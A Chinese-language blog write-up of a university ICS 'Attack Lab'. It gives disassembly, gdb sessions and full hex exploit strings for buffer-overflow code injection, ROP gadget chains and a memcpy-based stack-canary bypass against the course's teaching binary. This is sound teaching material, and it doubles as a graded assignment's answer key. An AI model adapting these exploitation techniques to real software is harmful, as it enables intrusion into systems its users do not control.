本文使用 Zhihu On VSCode 創作併發布

Introduction

Attack Lab是ICS課程的第三個lab,顧名思義就是讓我們想辦法攻擊一些程式,讓其偏離原先的執行方式。這個lab的主要目的是理解緩衝區以及緩衝區溢位的隱患,以及相應的攻防。實驗要求進行六次攻擊,分別對應不同程度的防範,這可以說是所有lab裡面最有趣的一個了。而且當時的樹洞有很多求助貼卻只得到了冷嘲熱諷或者猜謎一般的回覆,當且僅當你知道怎麼寫這個lab的時候你才能理解他們的“指點”。

ICS Lab: Attack Lab

Image

ICS Lab: Attack Lab

Image

或許你會覺得Alice已經給出了提醒,但是事實是:偏移的offset是0x128,所以如果你沒有做出來根本就不能獲得正確的提示,反而會被引入歧途,畢竟誰會想到128竟然是個十六進位制的數呢。

Code Injection Attacks

前三個phase都是讓程式執行我們寫入的程式碼,所以我們要設定好執行的程式或者地址,然後讓程式在ret時進入我們安排好的位置。

phase1

這是一個熱身,只要把執行的位置跳轉到touch1就可以了。

首先要獲得可執行程式的反彙編程式碼。

ICS Lab: Attack Lab

Image

開啟ctarget。asm檔案,檢視有關test的程式部分。在test呼叫getbuf之後會有ret指令,考慮用緩衝區溢位替換換來的返回地址,直接指向touch1。

00000000004018b2

4018b2: 48 83 ec 38 sub $0x38,%rsp

4018b6: 48 89 e7 mov %rsp,%rdi

4018b9: e8 31 03 00 00 callq 401bef

4018be: b8 01 00 00 00 mov $0x1,%eax

4018c3: 48 83 c4 38 add $0x38,%rsp

4018c7: c3 retq

可以看到%rsp減了0x38,說明這部分棧的空間是56,再往上就是返回地址,所以填滿這個棧之後填上touch1的地址即可。

000000000040193a

40193a: 48 83 ec 08 sub $0x8,%rsp

40193e: c7 05 d4 3b 20 00 01 movl $0x1,0x203bd4(%rip) # 60551c

401945: 00 00 00

401948: 48 8d 3d 73 1a 00 00 lea 0x1a73(%rip),%rdi # 4033c2 <_IO_stdin_used+0x312>

40194f: e8 ec f3 ff ff callq 400d40

401954: bf 01 00 00 00 mov $0x1,%edi

401959: e8 f9 04 00 00 callq 401e57

40195e: bf 00 00 00 00 mov $0x0,%edi

401963: e8 48 f5 ff ff callq 400eb0

touch1的地址是0x40193a,用小端法表示後的輸入應當是

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

3a 19 40 00 00 00 00 00

最後不要忘記加回車保留一個空行,然後用hex2raw轉換為字串,並且執行。

。/hex2raw < 1。txt >1。bin

。/ctarget -qi 1。bin

熱身環節就做完了。

phase2

這個階段要求執行touch2函式,並且要傳入cookie作為引數,也就是把cookie放在%rdi裡。

我的cookie是0x77c3944f。

這裡考慮先編寫一段程式碼將cookie放到%rdi並執行touch2函式,然後在getbuf的ret處將程式執行跳轉到自己寫的程式碼處。

編寫一小段彙編

movq $0x77c3944f,%rdi

pushq $0x401968

ret

然後用gcc和objdump轉換為二進位制程式碼

$ gcc -c 2。s

$ objdump -d 2。o

2。o: 檔案格式 elf64-x86-64

Disassembly of section 。text:

0000000000000000 <。text>:

0: 48 c7 c7 4f 94 c3 77 mov $0x77c3944f,%rdi

7: 68 68 19 40 00 pushq $0x401968

c: c3 retq

要獲得存放這段程式碼的位置,就要知道%rsp的值,幸運的是此處沒有棧隨機化,我們用gdb執行一次就可以知道這部分棧不變的位置

$ gdb 。/ctarget

(gdb) break getbuf

(gdb) run -qi 1。bin

(gdb) disas

Dump of assembler code for function getbuf:

=> 0x00000000004018b2 <+0>: sub $0x38,%rsp

0x00000000004018b6 <+4>: mov %rsp,%rdi

0x00000000004018b9 <+7>: callq 0x401bef

0x00000000004018be <+12>: mov $0x1,%eax

0x00000000004018c3 <+17>: add $0x38,%rsp

0x00000000004018c7 <+21>: retq

End of assembler dump。

(gdb) stepi

14 in buf。c

(gdb) p /x $rsp

$1 = 0x5561b7b8

這時得到的就是棧底的位置,直接把程式碼放在棧底並跳轉到這個位置執行。

48 c7 c7 4f

94 c3 77 68

68 19 40 00

c3 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

b8 b7 61 55

儲存為2。txt,同樣用hex2raw處理之後執行

。/hex2raw < 2。txt >2。bin

。/ctarget -qi 2。bin

第二關就過了。

phase3

這裡要把cookie作為一個字串傳給touch3,跟phase2類似,將%rdi設為棧中cookie字串的地址。

cookie轉換成字串後得到

37 37 63 33 39 34 34 66

此處考慮把cookie放在更高的位置,這樣不容易被棧的變動更改。

小心計算cookie字串的地址,與phase2類似編寫彙編後得到

48 c7 c7 f8

b7 61 55 68

7f 1a 40 00

c3 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

b8 b7 61 55

00 00 00 00

37 37 63 33

39 34 34 66

儲存為3。txt,同樣用hex2raw處理之後執行

。/hex2raw < 3。txt >3。bin

。/ctarget -qi 3。bin

第三關就過了。

ROP Attack

phase4

從這關開始限制了可執行程式碼的區域,所以自己編寫程式已經行不通了。但是實驗已經設定了一個gadget farm,在這些程式碼中從某些特殊的位置開始執行,會有完全不同的效果。將多個gadget聯合起來使用,就相當於執行了一條條彙編指令。

具體的實現實驗說明上有寫,網上一些部落格也寫的非常清楚,所以我略過說明直接開始做題。

要把cookie放到%rdi,一樣考慮從棧popq到暫存器,所以在gadget farm查詢popq %rdi的命令段。

然後就會發現找不到。

所以考慮迂迴戰術,先popq到另外的暫存器,然後movq到%rdi。這裡正好有如下實現方式

popq %rax

movq %rax, %rdi

0000000000401b7c

401b7c: c7 07 11 09 58 90 movl $0x90580911,(%rdi)

401b82: c3 retq

例如以上程式碼,58表示popq %rax,90是nop,c3是ret,就完成了彙編目的的第一行,所以起始程式碼位置應該是0x401b80。

尋找另一程式碼的地址,可以得到如下字串

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

80 1b 40 00 00 00 00 00

4f 94 c3 77 00 00 00 00

6a 1b 40 00 00 00 00 00

f6 18 40 00 00 00 00 00

進行驗證

成功。

phase5

在這一題需要傳cookie的字串作為引數,但是由於棧隨機化策略,我們不能知道存放字串的絕對地址,只能根據執行時的%rsp進行推算。所以解題的思路就是:

在適當的位置放入字串

得到某個時刻%rsp的位置

對這個位置進行適當的偏移作為字串的地址

第三步需要用到加法,但是gadget中並沒有addq的指令編碼,仔細觀察可以看到gadget中原來就有一個add_xy

0000000000401b89

401b89: 48 8d 04 37 lea (%rdi,%rsi,1),%rax

401b8d: c3 retq

所以我之前總是說lab最好團隊做,看教程做,這種一方面讓你找ROP,另一方面又有這種直接用整段程式碼的題目有點像腦筋急轉彎,想不到的話卻是浪費時間。

那麼思路就成了怎麼把%rsp和偏移放到%rdi和%rsi,然後怎麼把%rax放到%rdi。一樣是迂迴策略,仔細研究就可以發現以下路徑:

popq %rax 401b80

0x20

movl %eax,%ecx 401bd8

movl %ecx,%edx 401c57

movl %edx,%esi 401c1a

movq %rsp,%rax 401baa

movq %rax,%rdi 401b4f

lea (%rdi,%rsi,1),%rax 401b89

movq %rax,%rdi 401b4f %rdi = %rsp + 0x20

touch3

cookie

得到%rsp的時候和cookie的地址差了4條指令,所以偏移就是32,當然如果先取出了%rsp,那麼偏移就要相應更改。

得到如下結果:

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

80 1b 40 00 00 00 00 00

20 00 00 00 00 00 00 00

d8 1b 40 00 00 00 00 00

57 1c 40 00 00 00 00 00

1a 1c 40 00 00 00 00 00

aa 1b 40 00 00 00 00 00

4f 1b 40 00 00 00 00 00

89 1b 40 00 00 00 00 00

4f 1b 40 00 00 00 00 00

0d 1a 40 00 00 00 00 00

37 37 63 33 39 34 34 66

00 00 00 00 00 00 00 00

驗證以下結果

phase6

這是CMU原版lab沒有的一個phase,網上也鮮有教程,樹洞還都是謎語人,唉……。

直接來看getbuf_withcanary,

0000000000401ad5

401ad5: 55 push %rbp

401ad6: 48 89 e5 mov %rsp,%rbp

401ad9: 48 81 ec 20 01 00 00 sub $0x120,%rsp

401ae0: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax

401ae7: 00 00

401ae9: 48 89 45 f8 mov %rax,-0x8(%rbp)

401aed: 31 c0 xor %eax,%eax

401aef: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%rbp)

401af6: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax

401afd: 48 89 c7 mov %rax,%rdi

401b00: e8 0c 02 00 00 callq 401d11

401b05: 8b 45 e4 mov -0x1c(%rbp),%eax

401b08: 48 98 cltq

401b0a: 48 8d 95 e0 fe ff ff lea -0x120(%rbp),%rdx

401b11: 48 8d 0c 02 lea (%rdx,%rax,1),%rcx

401b15: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax

401b1c: ba 80 00 00 00 mov $0x80,%edx

401b21: 48 89 c6 mov %rax,%rsi

401b24: 48 89 cf mov %rcx,%rdi

401b27: e8 d4 f2 ff ff callq 400e00

401b2c: b8 01 00 00 00 mov $0x1,%eax

401b31: 48 8b 75 f8 mov -0x8(%rbp),%rsi

401b35: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi

401b3c: 00 00

401b3e: 74 05 je 401b45

401b40: e8 7f 06 00 00 callq 4021c4 <__stack_chk_fail>

401b45: c9 leaveq

401b46: c3 retq

直接想要寫爆緩衝區是不可能的,canary的值會被更改。但是此處有一個魔幻的memcpy,其中的引數是可以透過寫入字串來修改的。所以我們可以考慮進行一些精巧的設定,在memcpy時正好把程式碼塊放到canary之上覆蓋原先的返回地址,從而達成劫持的目的。

source的起始位置已經定了就是讀入字串開始的位置,dest的位置應該是canary之上正好是返回地址的開始位置,所以是從棧底往上0x120+8也就是0x128的位置,然後把之前phase5的程式碼搬運到最開頭即可。執行時memcpy之後程式碼就跑到了和phase5一樣的位置上了。

80 1b 40 00 00 00 00 00

20 00 00 00 00 00 00 00

d8 1b 40 00 00 00 00 00

57 1c 40 00 00 00 00 00

1a 1c 40 00 00 00 00 00

aa 1b 40 00 00 00 00 00

4f 1b 40 00 00 00 00 00

89 1b 40 00 00 00 00 00

4f 1b 40 00 00 00 00 00

0d 1a 40 00 00 00 00 00

37 37 63 33 39 34 34 66

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 28 01 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

驗證一下,確實沒有問題。

Conclusion

過了一年再來重寫這個lab(原先忘記儲存了哭),還是花了好長的時間,網上居然依然找不到2020年的解題報告,不得不感嘆人心不古啊,現在都沒有人願意造福後代了。

唉……